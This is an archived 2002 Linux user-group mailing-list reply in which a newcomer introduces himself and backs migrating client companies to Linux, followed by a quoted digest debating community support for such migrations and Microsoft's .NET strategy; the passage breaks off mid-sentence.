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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswata Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > >--__--__-- > >Message: 2 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:51:33 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > > > > >> market share in desktop environment. The entire core of >dotnet strategy > > is > > >> to move things away from the desktop / client and move the >processing >to > > >>the > > >> server > > > These days are too far. The people at Sun thought about the >Network > > Computer > > > and burnt their hands. > > > > > > Sometimes I use connection speeds where even the K is absent >;). > > > > DotNet was thougth out and designed when the DotCom boom was >at its crest > > and every one was saying the all corporate will move to ASP >(Application > > Service Provider) model of computing. The dotnet strategy >could, obviously > > not be changed at this stage though the dotcom boom ended, so >its features > > are still there waiting for the time when it will be >implemented. Till >then, > > it will only serve to further bloat windows software. > >The ASP model in general was a failure how many more dot-com >companies do we >need to prove that. > > > > > As for Network Computer, I think one hand it was badly >marketed, and on >the > > other hand, there was very little benefit of moving to that >platform. The > > savings at each client was minimum and that power demand >requirement added > > on the server side was too much. Sun based its NC strategy >on > > "Anit-Microsoft" platform rather on user needs and benefits. > >The NC seems promising even today. But then lets wait for IBM to >eat Sun ;). >Maybe then it will be more valid. > >Regards, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 4 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:06:54 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > The term .NET is confusing, you are refering to the passport >and other > > > services. Speaking technically correctly .NET is an >initiative... that > > > promises a lot of things. The Linux/Windows interoperability >that I am > > > talking of here is one of them. > > > > DotNet is not just a strategy, it is also a family of >products. It >includes >*snip* >Right on... the products are to implement the strategy... and the >strategy >as I see it will ultimately evolve to hoodwink the users. > > > > > The move to port dotnet to linux platform is another >version of the >same > > > > > > Like I said .NET is NOT a product that you install... its >an >initiative... > > > comprising of a multitude of products and services. >Porting... is some > > other > > > question. > > > > I was refering to the DotNet Server Software and the DotNet >Framework > > including Microsoft Intermediate Language. These will ensure >that all > > software designed for running on the dotnet server and those >made with > > Microsoft Visual Studio .Net RAD tools will work on linux. > >Right on again... M$ wants to reap from the Linux market as well. >Thats >because they know they're strong on desktop products.... the M$ >Office Suite >for instance. They want to sell that to Linux users too. Its like >a dual >strategy. They want to replace our applications and then our OS >as well. > > > > > > > > > > hedging......in case linux becomes more popular on the >server front, > > > > software designed on dotnet platform will run even if the >server is > > > running > > > > linux, and the desktops are windows. Believe me, they will >finalise >and > > > > complete the codes to production level only if linux >becomes too >popular > > > at server level.......Otherwise, it will remain >"experimental" > > > > > > Which OS do you think has the upperhand in server markets >now? :D > > > > True, Linux has a lead in the server market, specially in >large and very > > large applications, webservers, etc. But Windows is catching >on faster >than > > you realise. Futher, dont forget that there is another fast >growing server > > market, which is servers used by (small, medium and large%2

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